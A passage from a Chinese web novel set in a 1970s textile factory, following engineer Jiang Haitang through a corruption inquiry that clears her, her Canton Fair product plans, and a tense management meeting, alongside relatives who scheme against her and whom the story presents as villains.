姜海棠看着康小夏一脸严肃的样子,只以为是康家那边又出什么幺蛾子了。 “海棠,有人举报了你和陆厂长,说你们假公济私,薅社会主义羊毛。” 薅社会主义羊毛? 姜海棠愣了一下,显然没有反应过来。 “你十七级工资的事被人举报了,举报人说,你是因为搭上了陆厂长,才拿到如此高的工资。” 姜海棠一听,拧紧秀美:“这可是当初胡厂长在的时候就定下来的。” “举报这回事,不一定要实事求是,反正只要有点音就行。”康小夏也很生气。 但到现在为止,并不知道是什么人举报的,举报信是匿名写的,只写了陆厂长和姜海棠的关系和姜海棠拿着高工资这两件事。 这事儿,不用想就知道,有人要陷害陆厂长和海棠姐,可就算他们都知道,又能怎么样? 姜海棠站在实验室的窗前,玻璃上凝结的霜花像一张细密的网,她深吸一口气,指尖无意识地摩挲着实验记录本卷起的边角。 “海棠姐,你没事吧?”康小夏担忧地碰了碰她的手臂。 “上面现在什么意思?”姜海棠问。 “厅里已经成立了调查组调查这件事,调查清楚之前,你可能要随时接受调查。海棠姐,你不要放在心上,我相信,调查结果一定能还你一个公道。” “我相信组织上绝不会冤枉一个好同志。” 姜海棠转过身,白大褂下摆扫过实验台,发出轻微的沙沙声。 “小夏,”她突然开口,声音像浸了冰水般清醒,“举报信里提到的问题具体怎么写的,你知道吗?” “一是举报你因为和陆厂长谈对象,才得了这份工作;二是举报你因为陆厂长的滚西,拿了高工资;三是举报你道德败坏,不敬长辈;四是举报你身份不明!” 姜海棠听着这些问题,差点儿气笑了。 果然是欲加之罪何患无辞吗? “调查组是不是已经到了?” 康小夏点点头:“已经到了,我是偷偷来找你的,等下应该就会叫你过去问话。” “小夏,你帮我去财务那边查一下,我记得,当初我入职的时候,胡厂长有签过一份工资评定表。” 康小夏立即明白了姜海棠的意思,因为目前不能确定是什么人举报了她,担心这份表被毁了,要是胡厂长签字的表被毁了,那就再也调查不清楚了。 “好,我这就去。” 很快,果然就像康小夏猜测的那样,调查组的人让姜海棠过去接受调查。 调查组一共三个人,组长姓赵,是个两鬓斑白的中年人,左脸颊有道子弹擦过的疤痕。 从这道疤,姜海棠判断,眼前这个人,应该也是从部队上退下来的。 姜海棠瞬间觉得,心情平复了许多,原本那点情绪竟然也已经消失不见。 “你就是姜海棠同志?”赵组长抬头盯着姜海棠看了好一会儿,才开口问。 “是的,赵组长,我是姜海棠。” “你今年不够二十岁吧?”赵组长意有所指地问道。 赵组长的目光并不锐利,可是姜海棠总觉得,这个人深不可测。 因此,她回答问题的时候,不由多想了一下。 “是的,我不到二十岁。” “你是去年秋天才到的纺织厂?” 姜海棠点头。 “也就是说,你到纺织厂,只有不到半年时间?” 姜海棠再度点头。 赵组长深沉的目光落在她身上,手指轻轻敲着桌面:“姜海棠同志,你到厂里不过半年时间,却拿到了别人十多年都拿不到的十七级工资,有人举报你和纺织厂厂长陆良辰同志有不正当的男女关系,才获取高工资待遇。你有什么要说的?“ 姜海棠的指尖微微收紧,但声音很稳:“赵组长,我和陆良辰不存在不正当的男女关系,我们此前处对象,过年的时候,经过长辈认可,现在是未婚夫妻关系。” 赵组长盯着姜海棠看了又看。 “你老家是桑榆县的?你父母早亡,你被李家收养,情况属实吗?” 姜海棠沉默了片刻,说道:“我老家是桑榆县的,我父母在我六岁那年亡故。之后,我跟着叔叔婶婶过日子,他们把我卖给李家换了粮食。我是李家的童养媳,并不是养女。” 对于姜海棠坦然承认自己是童养媳而不是养女这件事,赵组长显然很意外,他不由多看了两眼姜海棠。 “据说,你对李家的长辈很不好,情况属实吗?”赵组长接着问。 “我和李胜利已经解除了婚姻关系,李家的长辈便与我无关。” “至于工资问题,”姜海棠继续道,“我从这个月开始,确实调整为17级的工资,但这个评定是在当初参加招考进入棉纺厂的时候,前任胡厂长定下的,和陆良辰同志并没有关系。” “胡厂长愿意给我这么高的工资,是因为他认为,我能为厂里带来技术革新,助推厂子的技术发展。” 赵组长若有所思地点点头。 “这些我们已经进行过初步调查,确实如你所说,你进厂之后,为厂里做了不少贡献,胡厂长当年也向厅里汇报过这件事。” 姜海棠有点意外,这位赵组长为什么会说出这样一番话来? 他不是来调查自己的?怎么感觉是在为自己说话? 姜海棠正要说话,办公室的门突然被推开。 陆良辰大步走了进来,军绿色的棉大衣上还带着室外的寒气。 他径直走到姜海棠身边站定,目光坚定地看向调查组。 “赵组长,这件事我可以解释。其实,姜海棠同志应该在上个月就调整为十七级工资,我当时有过迟疑,担心出现今天这种情况,想过重新考虑姜海棠同志的工资定级。” 赵组长浅淡地笑着问:“哦,那你为什么最终还是决定让姜海棠同志拿十七级工资?” “我不能因为姜海棠同志是我未婚妻就照顾她,但同样的,作为厂长,我也不能因为姜海棠同志是我未婚妻,就剥夺她的权利。” “姜海棠同志入职时间虽然短暂,可她为厂里做出的贡献却非常大,甚至,超过了许多在厂里工作了二三十年的老同志。” 陆良辰的声音低沉有力,一字一句将自己心里真实的想法都说了出来。 赵组长看了看两人,突然笑了:“陆厂长果然是部队里出来的人,能坚守原则。” 他对于陆良辰的欣赏,丝毫都不加掩饰。 他拿过手旁边的一个信封,“举报信里还说姜海棠同志身份不明,是混进革命队伍的坏分子。” 姜海棠脸色瞬间苍白,她是孤儿不假,可孤儿就一定是坏分子吗? 这举报之人,是非得将她置于死地才安心啊! 陆良辰感受姜海棠的情绪不对,立刻握紧她的手:“赵组长,姜海棠同志虽然是孤儿,但她的身份是可以查到的。虽然她的父母已经去世,但她的叔叔和婶婶还活着,应该可以证明她的身份没问题。” “我们已经去过姜海棠同志老家进行调查,根据她叔叔婶婶的供词,姜海棠同志,应该不是姜家的亲生孩子。” 一句话,石破天惊,姜海棠不敢相信,难道这事就要这么被戳破吗? 还有,叔叔和婶婶是怎么知道自己不是父母亲生这件事的? “根据他们所说,当初你母亲并未见到怀孕,忽然有一天,就宣称生下了一个女儿。开始的时候,他们并没有怀疑什么,但后来却越想越不对,尤其发现你和姜家人长得不像之后,更怀疑你的身份,这也是后来他们卖了你的原因。” 赵组长说这番话的时候,语气一直很慢,眼睛也一直盯着姜海棠看。 姜海棠只觉得心里慌慌的。 她不知道,这件事被揭露出来之后,会引起什么样的动荡。 陆良辰冲着她微微摇头。 “姜海棠同志,你似乎并不惊讶,难道你早就知道你不是你父母的亲生女儿?”赵组长又问。 姜海棠只是站着,没有开口。 这般时候,她似乎什么都不能说。 “赵组长,你们这边还调查到了什么,方便告诉我们吗?我也想知道我未婚妻到底是什么身份。” 陆良辰心里其实也很忐忑,但他到底更加沉稳一些,就算到了这时候,也能云淡风轻的和赵组长对话,希望从赵组长口中获得有用的信息。 赵组长笑着说:“我知道你,陆厂长。” 陆良辰先是一愣,随后明白过来赵组长的意思。 他所谓的知道他,并不是知道他这个纺织厂的厂长陆良辰,而是知道那个曾经当过兵上过战场的陆良辰。 “我早年也曾从军,后来,在一次行动中受伤之后,不得不转业……”赵组长说这些话的时候,并没有看着姜海棠和陆良辰两个人,似乎只是在诉说自己的故事。 姜海棠和陆良辰面面相觑,不明白画风为什么突然变成这样。 第177章 疑问 “一晃二十年过去,因为那一次的任务,我脸上留了一道疤痕,可到底活下来了。而为了那次的任务,我的许多战友都牺牲了……”赵组长的声音低沉而沙哑,每一个字都仿佛带着沉重的回忆。 他倚靠着窗台,目光深邃地望向远方,仿佛穿越了时光的隧道,回到了过去那段难忘的岁月。 姜海棠和陆良辰静静地站在一旁,大气都不敢出。 两人对视一眼,眼中都充满了疑惑与好奇,为什么赵组长忽然提到了以前? 似乎这一次的调查工作,和这些事并没有关系。 姜海棠心中涌起无数猜测,但因为对方是调查组的人,并不敢问出来。 可她从赵组长的话里感觉到,赵组长脸上的疤痕背后应该隐藏着惊心动魄的故事。 而陆良辰则眉头微皱,直觉告诉他,这个赵组长的出现绝非偶然,或许和他正在调查的事情有着千丝万缕的联系。 然而,赵组长似乎完全沉浸在自己的回忆中,对姜海棠和陆良辰的存在视而不见。 时间一分一秒的过去,空气仿佛都凝固了。 陆良辰和姜海棠两个人都开始怀疑,这是一种新的折磨人的方式的时候,赵组长忽然轻轻叹了口气,缓缓收回目光。 当天下午,调查组便毫无预兆地撤出了纺织厂。 这个举动在厂里引起了不小的动静。 厂里的工人们大部分是支持姜海棠拿高工资的,毕竟,姜海棠为厂里做出的贡献,他们都能看到。 但也有不少人觉得,姜海棠凭什么拿这么高的工资? 因此,对于这次的调查,工人们议论纷纷,猜测着背后的原因。 但很快,调查结果公布,举报人属于诬告,举报内容不属实。 对于这样的结果,厂里的员工们既感到意外,又觉得似乎在情理之中。 李胜利回去将调查结果说了,吴秀云十分不满,一张脸都黑了。 “这个贱人,运气怎么这么好?都被人告了,还能逃脱。你要想办法,趁着她还没有结婚,把她给睡了,到时候,她就算不愿意嫁给你也没办法了。” 吴秀云现在算是和梁素雅彻底撕破脸了,梁家已经几次催促李胜利离婚了,但李胜利一直拖着。 吴秀云如此说,李胜利觉得,或许这样也不错,女人嘛,只要和男人睡了,不管睡前是不是心甘情愿,睡过后,都会死心塌地。 “我找机会。” 见儿子不反对,吴秀云满意了。 “这事儿,让秀兰帮你,秀兰这段时间想办法和姜海棠多接触接触,消除她的戒备心,你才好下手。”吴秀云脸上都是阴毒的表情。 “娘,我才不要去讨好姜海棠,她算个什么东西!” “你还想不想要新衣裳了?还想不想将来找个好工作,嫁个好人家了?”吴秀云知道从什么地方拿捏李秀兰。 果然,李秀兰听了吴秋云的话沉默了。 吴秋云再接再厉:“秀兰,你二哥已经去农场了,再见不知道是什么时候,现在只有你和你大哥两个人齐心协力,咱们家才能越过越好。” “娘,我答应你,不过,等姜海棠嫁过来了,她的工资,每个月要分我一部分才行。” 吴秋云一口答应下来,姜海棠的工资那么高,养活一家子人足够了。 “等她嫁过来,有了孩子,让她把工作让给你,你也是坐办公室的人了!” 李秀兰听吴秋云这么说,好像已经得到了姜海棠的好工作一样,笑得花枝乱颤。 她这样的笑声在夜色静谧中显得尤为可怕,旁边的邻居听到李秀兰的笑声,说道:“也不知道又在笑什么,我怎么觉得瘆得慌!” 与此同时,姜海棠和陆良辰坐在陆良辰家的客厅里,灯光昏黄,为整个房间增添了一丝温暖的氛围。 茶几上,两杯热气腾腾的茶袅袅升起白雾,仿佛两人心中萦绕的思绪。 “海棠,这位赵组长,或许和你的身世有关,或者是知道你身世的人。”陆良辰放下茶杯,眼神认真地说道。 姜海棠轻轻点头,眼神中透露出一丝忧虑:“我也有这种感觉,只是,到底是二十年前的事情了,现在调查起来,并不容易。时间过去这么久,很多线索都断了,不知道从何查起。” “从京城回来之后,我已经找人帮忙调查当年的事,不过,目前还没有找到线索。”陆良辰伸手握住姜海棠的手,试图给她一些安慰,“但我们不能放弃,总会有办法的。” “说不定,我们可以从赵组长的身上找到线索,我总觉得,他知道我的身世。”姜海棠突然眼睛一亮,大胆提议道。 陆良辰沉思片刻,缓缓点头:“你说得对。改天我想办法拜访赵组长,试探一下,看看能不能从他的话语中套出一些有用的信息。” “这事也不用如此着急,从长计议,二十年都等了,不缺这点时间。倒是广交会的事情更要紧。”姜海棠将话题拉回到工作上,神情变得严肃起来,“现在已经是三月了,距离春季广交会,只剩下一个多月的时间,我们现在要集中精力准备春季广交会的事了。” “你说的是,今年的春季广交会,对我们厂来说,十分重要。” “目前我们的技术虽然还有一些难点问题亟待解决,但问题不大,一周之内应该能完成。” “明天上午我召集厂里中层以上的领导们开会,研究一下一次广交会应该如何准备。海棠你有什么想法吗?”陆良辰也认真起来,坐直了身子。 姜海棠微笑着从随身的包里拿出一个笔记本,本子已经有些磨损,可见被她翻阅了无数次。 翻开其中一页,上面密密麻麻记录着各种数据和方案,每一个数字、每一行文字都凝聚着她的无数心血。 “良辰,我们厂目前能参加广交会的产品有不少,但给我们的展台有限,因此,必须要认真计划。我个人觉得,我们这次春季广交会,要打好三张王牌。” 姜海棠指着笔记本上的数据,开始向陆良辰详细阐述她的计划,眼神中充满了自信和坚定。 “第一张牌,是我们的拳头产品的确良。”姜海棠说道。 “可是之前参加广交会的时候,我们的的确良布料并不占优势。”陆良辰皱起眉头。 他也将这几年参加广交会的情况认真进行了了解,的确良布料在广交会上的优势并不大,主要是生产成本太高,获取的利润有限,加上厂里生产的布料本身存在不足之处,导致销量一直不理想。 “此前的广交会上,因为种种原因,我们的的确良确实没有取得好成绩,但今年不一样,我们新研发的‘的确良’改良版,含涤纶量降低到55%,既保持了挺括性,透气性又比之前更好。”姜海棠耐心解释道。 “你确定能达到这样的效果?”陆良辰惊诧问。 “这项技术的研究已经完成了,目前还在对新款料子进行测试,如果和预想的数据一样,将作为主打产品向东南亚客商进行推荐。东南亚市场潜力巨大,只要我们的产品有竞争力,一定能打开销路。” 陆良辰点点头,他对姜海棠是完全信任的,姜海棠能这么说,肯定已经有足够的把握,看着姜海棠认真的模样,陆良辰与有荣焉。 “此前广交会上,最大的难点是东南亚客商对面料的压价。我查了过去三年的成交记录,同样的布料,报价逐年降低,比1972年低了15%。”姜海棠继续说道,语气中透露出一丝担忧。 “这样下去,我们的利润空间会越来越小,就算料子卖出去,我们的利润也不多,性价比并不高。”陆良辰也发现这个问题了,说不定,他们今年还会降价。 “我正在和其他同事一起进行实验,打算把传统32支纱改成28支粗纱做底,表面保留40支精梳棉。这样既能保持手感,成本每米能降0.8元。如果按年产50万米计算,只这一样,就能多创造40万元利润。” 姜海棠仔细地分析着,手指无意识地轻轻敲击着桌面,仿佛在计算着每一笔成本和利润。 陆良辰认真地听着姜海棠的分析,眼睛越来越亮,原来,在自己不知道的时候,海棠已经默默做了这么多的事情。 她不仅发现了问题,还积极寻找解决办法,这种敬业精神让他既感动又钦佩。 “除了价格问题,前两天收到吴慧婷女士的信,里面提及,今年欧洲流行不对称几何图案。我建议把展区按国际趋势重新分区,传统花鸟区占40%,新式几何区占50%,剩下10%做概念展示。这样既能满足不同客商的喜好,又能展现我们厂的创新能力。”姜海棠说道。 陆良辰点点头:“海棠,你的准备太充分了,出乎我的意料之外。真应该让你给销售科讲一堂课,让他们也学会做这样的数据调查和分析。现在销售科的工作方式太传统了,急需改进。” 第178章 开会 “这是一种趋势,将来销售科必定要学会才行。”姜海棠认真地说。 现在是计划经济,销售科基本上没有存在感,但未来就不一样了,从计划经济转型到市场经济之后,对销售员们的要求会大幅度提高,到时候,不学都不行,市场会倒逼销售员们掌握这项技术。 “我们的第二张牌是毛呢产品。经过不断改进,我们厂里最近研究出的一款含50%国毛的呢料,保暖性测试结果比同类产品高15%。加上我们改进了色卡和固色,比较具有竞争力。” 姜海棠压低声音,“这款产品,如果能拿到军需部门的质检报告,能让外商相信我们的品质。不过,存在一定的难度,可以努力,但不用强求。我相信,就算我们只依靠产品本身,应该也能取得不错的成绩。” “我回头想想办法,说不定能拿到质检报告。”陆良辰思索了一下之后,觉得这件事还是有一定的可行性,因此,他开口说。 “我们这次春季广交会,还有第三张牌,那就是我们生产的羊毛衫。” “虽然目前我们的产量不高,但随着后续机械厂提供的提花机数量增加,我们的产量能逐步扩大,完全可以将羊毛衫当做此次广交会的主打产品。”姜海棠眼中闪烁着光芒。 “之前我设计了几款羊毛衫款式,近期应该就能出样品了,到时候,找人试穿后,如果存在不足的地方,我们再做改进,等到了广交会上,争取一炮打响。” 听到姜海棠一口气说了这么多,陆良辰不由问:“你什么时候做出的这些计划?” 他刚才只是话赶话地随口问问姜海棠,没想到她竟然准备得这么充分,这可不是一天半天能弄出来的。 “从去年参加完广交会就开始了,其实,从去年广交会的时候,就开始准备了,参加广交会的时候,我就对外商偏爱的商品做了市场调查,对各地客商的喜好都有所了解。” “你当真是走一步看三步,当时不管是胡厂长,还是我,我们都没有想到这些。”陆良辰觉得,和姜海棠有计划比起来,他确实有许多不足,看起来,管理一个厂子,他需要学习的地方还有很多啊。 “这一次,我们要做到有针对性地准备样品参展,争取多签订合约。”姜海棠微笑着说,笑容中带着一丝疲惫,但更多的是对未来的期待。 这段时间,姜海棠每天晚上都在加班,就为了即将到来的广交会。 陆良辰嘴角含笑:“海棠,你太敬业了,有你在,是我们厂的福气。” “有备无患,去年太过仓促,我们对市场了解不充分,虽然取得了一点合约,但有点少,我觉得,那样的成绩,不够亮眼,今年我们一定要做得更好。” 姜海棠说起去年的时候,多少觉得有些遗憾。 “好,这件事,我安排厂办的人和你对接,将这一次的广交会参展样品做详细的规划。有什么需求尽管提,我全力支持你。”陆良辰说道。 “好。”姜海棠没有推辞,她确实需要其他人的帮助。 广交会的筹备工作千头万绪,仅凭她一个人是无法完成的。 姜海棠又翻开了一页,上面是一张展位设计图。图上用不同颜色的笔标注着各个区域的功能和布局,每一个细节都考虑得十分周到。 “省厅之前提到过,要给我们厂多两个展位,我估计,今年的展台位置也会比去年好一些。” 陆良辰点头,之前他去省厅的时候,省厅那边的领导,确实是这样暗示自己的。 “我计划将展区要分成三个部分:主展台放的确良新品,左侧是毛呢专区,右侧做动态展示,除了放出我们的羊毛衫样品之外,还可以和机械厂合作,进行现场演示。这样既能展示我们的产品,又能增加互动性,吸引更多客商的关注。”姜海棠详细介绍着自己的设计思路。 “机械厂那边的参展样品定下没有?”陆良辰问。 “其他不知道,但提花机一定会在其中。”姜海棠回答道,机械厂目前可以和纺织厂联动的,也只有提花机。 “回头我找毛厂长商量一下,尽量实现两家联动。这样我们可以优势互补,共同提升产品的竞争力。”陆良辰说道。 “好,此外,我还有个想法。”姜海棠越说越精神,眼中闪烁着兴奋的光芒,“我们可以制作一本中英文对照的产品画册,通过图文结合的方式,重点突出‘中国制造’的质量和价格优势。这样客商可以更直观地了解我们的产品,也方便我们进行宣传推广。” 陆良辰若有所思:“画册会不会太张扬?现在对涉外宣传把控很严……” “所以我觉得,宣传画报的内容要突出为第三世界人民服务,产品介绍都强调‘结实耐用’、‘价廉物美’。这样既符合政策要求,又能吸引客商。”姜海棠解释道。 两个人越说越精神,不知不觉已经十点多了,窗外的夜色已经深沉,只有偶尔传来几声虫鸣。 姜海棠这才起身要离开。 陆良辰送姜海棠到家门口,他真是有点舍不得姜海棠。 “还好,再有几个月,我就不用这样送你回来了。” 他的语气中带着一丝甜蜜的期待。 姜海棠羞赧道:“真是的,脑子里就想着这么点事!”脸颊微微泛红,宛如盛开的桃花。 “我是个正常的男人,想这种事难道不正常?”陆良辰浅笑着说了这么一句,然后话锋一转,正色说道:“明天我要去趟省厅,先将你这些想法给省厅那边汇报一下,看看能不能争取到更多支持。有了省厅的支持,我们的广交会筹备工作会更顺利。” 姜海棠点点头,眼中满是感激:“辛苦你了,良辰。” “我不辛苦,和你做的这些比起来,我做的还是有点少。”陆良辰拉着姜海棠的手,正色说:“海棠,作为厂长,我为你的努力和付出感到欣慰,可是作为你的未婚夫,我希望你无论在什么时候,都要先照顾好自己的身体。” 姜海棠没想到陆良辰竟然会说出这样一番话,她笑着说道:“好,我知道了,以后,我会尽量吃好睡好,保证让我的身体棒棒的。” 姜海棠迟疑了一下,又说:“你也要注意身体,你是我们家的顶梁柱,我和小桃子都要依靠你。” “好,为了你,为了小桃子,我一定不会让自己垮了。” 两个人互相叮嘱了几句,姜海棠这才回到屋里洗漱休息。 陆良辰恋恋不舍的回到了自己家,他先去看了一眼小桃子,小桃子已经睡着了,小丫头躺在床上打着小呼噜,睡得可香了。 帮她盖好踢了的被子,陆良辰回到自己屋里,他没有睡,而是坐在书桌前,开始梳理刚才和姜海棠讨论的内容。 他先将姜海棠提到的内容一一梳理出来,又结合自己知道的一些情况,做了简单的调整和充实。 直到他觉得,这份报告已经很完整了,时间已经到了夜里一点,陆良辰这才躺到床上休息。 翌日。 陆良辰刚踏进办公室,赵凯就过来了。 他递给陆良辰一张照片。 照片上的人是李胜利,李胜利的对面还站着一个戴鸭舌帽的男子。 李胜利和男人凑得还能近,陆良辰拿着照片看了好一会儿。 忽然,他看到那人手腕上的浪琴表,这种手表金城目前并没有卖的,这个人身份不简单。 “查过这人身份了吗?” “查无此人。”赵凯压低声音。 查不到人,往往才是最严重的,这个李胜利,还真是很有耐心,他们为了蹲守李胜利,已经花费了许多时间。 好不容易找到一个嫌疑人,竟然还没有查到这个人的信息。 “继续调查,无论如何都要把这个人挖出来。” “是!”赵凯大声应下,然后转身出去。 只要是活人,只要在金城生活过,就不会查不到,或许,这个人只是太会隐藏了。 陆良辰看着赵凯走远,让秘书通知中层以上的同志开会。 对于陆良辰突然通知开会,许多人有点不明所以。 当他们到了会议室里,听到陆良辰让他们各自对此次参加春季广交会建言献策的时候,他们中的许多人傻眼了。 不是一脸懵不知道应该怎么回答,就是回答得乱七八糟的,基本都是一些毫无意义的意见,或者根本就言之无物,只是空话套话一大堆。 陆良辰对于这样的会议结果,显然是不满意的。 “同志们,距离春季广交会,只有一个多月的时间了,大家却对于参加这次春季广交会,连一个简单的计划都没有,这样的工作态度,让人十分不放心啊。” “组织将纺织厂交给我们,我们就要做好纺织这篇文章,我们只有做好纺织这篇文章,才能不负国家和人民对我们的希望。”陆良辰语重心长地说。 在场的十几个人,有几个一副完全不放在心上的样子,但也有几个人,显然陷入了沉思。 就在陆良辰想继续开口的时候,有一个人开口了。 第179章 多找自己的问题 这人是,他粗糙的大手摩挲着那只磨得发亮的搪瓷缸,喉结上下动了动。 “陆厂长,我寻思着,咱们厂新成立的羊毛衫车间,设备都是顶好的。这对于我们加大出口量有好处。但是——” 老周的声音顿住,会议室里的众人不自觉地竖起耳朵。 陆良辰眉头微微蹙起,以他对老周的了解,话锋一转必有关键之处。 但他没有出声打断,而是微微前倾身体,用鼓励的眼神示意老周继续说下去。 老周深吸一口气,接着说道:“咱们纺织厂,说到底还是应该以布料纺织技术为主。可咱们车间的纺织机都是老物件,锭速跟不上不说,断纱率也高得吓人。这次广交会要是能跟港澳同胞取取经,说不定能找到改良的法子。” 他的话语中满是对厂里现状的忧虑,以及对厂里纺织机械的渴望。 也不怪他着急,厂里最近对多方面的机械都进行了升级,可唯独对他们纺纱车间的机械没有进行改良,这怎么可以?长此以往,他们不就落后了吗? 话音刚落,会议室里便响起此起彼伏的咳嗽声,仿佛是众人对老周提议的无声回应。 销售科王科长“砰”的一声把搪瓷缸重重磕在桌上,十分傲慢地开口了。 “老周,现在是计划经济,设备都是上头调拨,你说得轻巧!咱们现在连坯布指标都没完成,还谈什么改良?”王科长扯着嗓子,满脸不屑。 几个老同志也跟着随声附和,有人更是掏出烟袋锅子,“吧嗒吧嗒”地抽了起来。 不一会儿,刺鼻的烟味弥漫在整个会议室,墙上“工业学大庆”的鲜红标语也渐渐被烟雾模糊。 陆良辰刚要开口解决这混乱的局面,质检科的李主任突然“嚯”地站了起来。 这个总把《选集》揣在怀里的中年人,此刻眼神坚定,语气铿锵有力。 “咱们厂之前出口的布料因为色牢度不达标,出现过被退回了两批的情况,这对咱们厂里的信用度影响多大,大家心里都清楚!不过咱们厂今年在固色度方面有了改良,我相信,今年的广交会上,我们能取得不错的成绩。” “但我们也应该清楚,我们目前的机械和工艺水平,相对来说,都是比较落后的,我想,我们是不是可以在广交会上,通过技术换技术的方式,达到改善机械的目的?” “胡闹!”王科长猛地站起来,椅子在地面摩擦发出刺耳的声响,陆良辰忍不住蹙眉。 “李长宇你是不是读书读傻了?核心技术都是国家机密,能随便交流?你还想用我们厂的先进技术换别人的技术,你居心何在?” 王科长涨红着脸,手指几乎戳到了李主任的鼻尖。 李主任满心委屈,他不过是觉得这个提议有可行性,想要为厂里出份力,如今却被如此质疑,自然据理力争。 “我没有这个意思,我只是觉得,如果能和兄弟厂家互通有无,再好不过,能实现共赢。” “不是我说你,李长宇同志,做人要脚踏实地,别整天想些不切实际的……” “王主任!”陆良辰重重拍了下桌子,一脸严肃地说:“不要只看别人的问题,也要多看看自己的毛病。” 他的声音低沉而有力,带着不容置疑的威严。 王主任一听这话,顿时不乐意了,脖子一梗。 “陆厂长,您这话说得不中听,我怎么就只看别人的问题,不找自己的毛病了?我在厂里规规矩矩上班,脚踏实地干活,还有错了?” “好一句规规矩矩上班,脚踏实地干活,你是说你每天早上八点半到厂里,喝茶看报纸一个早上,回家吃饭睡觉,下午回到办公室聚众赌博吗?” 陆良辰目光如炬,直直地盯着王主任。 这个王主任,他早就看不顺眼了,作为销售部门的负责人,工作态度懒散至极。 若不是计划经济,销售科没有任务也能正常出货,就凭他这样的工作作风,厂里的布料怕是都能堆积成山。 “陆厂长,你可不能冤枉我……” 王主任嘴上还在辩解,但眼神却开始躲闪,声音也越来越小,明显底气不足。 “我有没有冤枉你,你自己清楚,别人也都清楚!别把人都当成傻子!” “现在距离广交会只剩一个月,咱们连学习的态度都没有,怎么完成国家任务?怎么在广交会上创外汇?” “领导人说‘虚心使人进步,骄傲使人落后’,你作为销售部门负责人,可有此次广交会的销售计划?” 陆良辰语气严厉,字字如锤,敲打着众人的心。 王主任却依旧一副大大咧咧、毫不在意的样子,满不在乎地说:“要什么计划啊,到时候,摆出去,就有人来和我们谈,何必麻烦……” “闭嘴!”陆良辰忍无可忍,一声怒吼,震得会议室里的众人都忍不住身子一颤,整个会议室瞬间陷入一片死寂。 王主任涨红了脸,但心里依旧不服,可他识时务,才被陆良辰收拾了,他不敢说话,只能将不满都憋着。 谭书记这时候开口了,他扫视着众人,目光中满是失望与期待。 “今天这个会,是希望各位同志能提出有效的意见建议,而不是别人说什么,立即否决什么,并且对自己的工作内容毫无计划!” 这番话虽然没有点名道姓,但大家心里都明白,他这话主要是说给王主任听的,甚至有好几个人还偷偷瞥了一眼满脸不自在的王主任。 王主任的散漫态度,他们都知道,心里不舒服很久了,今天看到他被厂长收拾,其他人很开心。 财务科张会计推了推缠着胶布的眼镜,小心翼翼地开口:“陆厂长,各位领导,要是能申请到技改专项资金,或许能置换部分关键部件……” 他的声音不大,却如同一颗石子投入平静的湖面,激起了千层浪。 “我记得五八年广交会,咱沪市第三纺织厂合作过。他们的印花工艺在东南亚很受欢迎,要是能恢复联系……”市场科陈主任赶忙翻开牛皮纸笔记本,紧接着说道。 陆良辰看着众人你一言我一语,气氛逐渐热烈起来,心里很是满意。遇到有建设性的意见,他会详细询问具体细节,和大家深入探讨;对于不太合适的提议,他也会耐心引导,给出合理的建议。 会议的气氛越来越好,颇有种渐入佳境的感觉。 “这是我昨天晚上根据姜海棠同志的想法,整理出来的一份这次广交会的计划书,谭书记您看看。”陆良辰将几张纸递给谭书记,小声地说。 谭书记满脸狐疑地接过计划书,低头认真看起来。 看着看着,他的眼睛越来越亮,脸上的笑意也越来越浓。 这份计划书考虑周全,切实可行,比会上提出的一些建议更加符合当前实际情况。 “不错,陆厂长,就按照这个准备,真是没想到,姜海棠同志不光技术方面是一把好手,方方面面都有突出表现。” 谭书记忍不住赞叹,语气中却也带着几分遗憾。 这姑娘太年轻了,假以时日,还不知道能成长到什么地步。 其他人好奇地伸长脖子,却也只能看到只言片语。 只有谭书记旁边的工会主席老成凑近看了两眼。 他刚到任不过一周时间,对纺织厂的情况还不算太了解,但只看这份计划,也不得不承认确实不错。 墙上的座钟“滴答滴答”地走着,不知不觉指向了十二点。 陆良辰看着写满密密麻麻字迹的会议记录,眼神中满是欣慰,在“技术革新”“横向联合”几个字下重重画了圈。 陆良辰站起身,目光如炬地扫视着众人。 “散会前明确分工,技术科三天内列出设备改良清单,市场科负责联系往届合作单位。记住,广交会是国家对外展示工业成果的窗口,咱们就算啃硬骨头,也要啃出个名堂!” 散会后,几个干部一边往食堂走,一边还在热烈地讨论着。 “说不定真能闯出条新路。” “我听说,机械厂那边的袜子机就要造出来了,到时候,不知道能不能给我们厂多给一些。” “这是肯定的,不给谁也不能不给我们啊!” “那可不一定,以前我们和机械厂的关系也不算太好。” “你们没听过说?就连袜子机的生产图纸,都是咱厂姜工提供的。” 有人立马露出质疑的神色:“那姜工这不是吃里扒外吗?她的图纸怎么能给机械厂?那是属于纺织厂的。” 旁边的人白了他一眼,没好气地说:“给我们,我们自己能生产出来?靠我们几个人用手捏泥巴?给了机械厂,咱们拿机器,不是更好?” 那质疑的人摸了摸脑袋,憨厚地笑了:“我这是糊涂了,就是觉得,咱们厂里的,不能白白便宜了别人。” “什么便宜别人啊,这是共赢懂不懂?你看看,咱们厂的羊毛衫机,那不就是机械厂生产的?现在咱们厂的羊毛衫,销路多好。” “我听说,姜工不光是咱们厂的工程师,还是机械厂的工程师,在机械厂也拿着一份工资呢。” “真的假的?”几个人立即都凑近问。 姜工在纺织厂的工资就很高,要是还在纺织厂工作,那一个月的钱老多了吧? “肯定是真的,我二舅姥爷的外甥女的小姑子的堂姐夫就在机械厂上班。” 几个人聊得热火朝天,丝毫没有注意到,不远处有个鬼鬼祟祟的身影正竖着耳朵偷听。 这人不是别人,正是李秋兰。 她被吴秀云安排去接触姜海棠,想办法把姜海棠哄好。 可今天早上找了一圈都没见到姜海棠的影子,正满心不乐意地准备回家,没想到却听到了这么大的一个秘密。 第180章 讨好 得知姜海棠一人竟然有两份工作,嫉妒之火瞬间在心中熊熊燃烧,凭什么她能这么好命? 李秋兰迫不及待地跑回家,气喘吁吁地推开家门。 吴秀云正百无聊赖地坐在床上,仔细端详自己的手指。 看到李秋兰急急忙忙跑进门,她随口问道:“怎么跑这么快?” “娘,我听到一个消息……”李秋兰顾不上喘气,噼里啪啦将听到的消息一股脑全说了出来,还忍不住气愤地骂了姜海棠几句。 吴秀云眼睛一转,顿时计上心来,阴恻恻地说:“要是这样那就更好了。” “好什么呀,娘,您是不是糊涂了!” “她这么有出息,就更应该让你哥娶了姜海棠。两份工作,一份给你,一份给你哥,你哥的这份工作,要是你二哥回来,就给他,要是他回不来,卖了换钱就行。” 她虽然刚到纺织厂不久,很少和外人交流,但也清楚工作指标是可以卖钱的。 听说,一份正式工的工作,能卖一千块钱呢,那可是老大一笔钱了。 “可我年龄不够!”李秋兰满脸愁容地说:“还要等好些年呢。” 吴秀云沉思片刻,说:“那就先让她干着,等什么时候你长大了再转给你。” 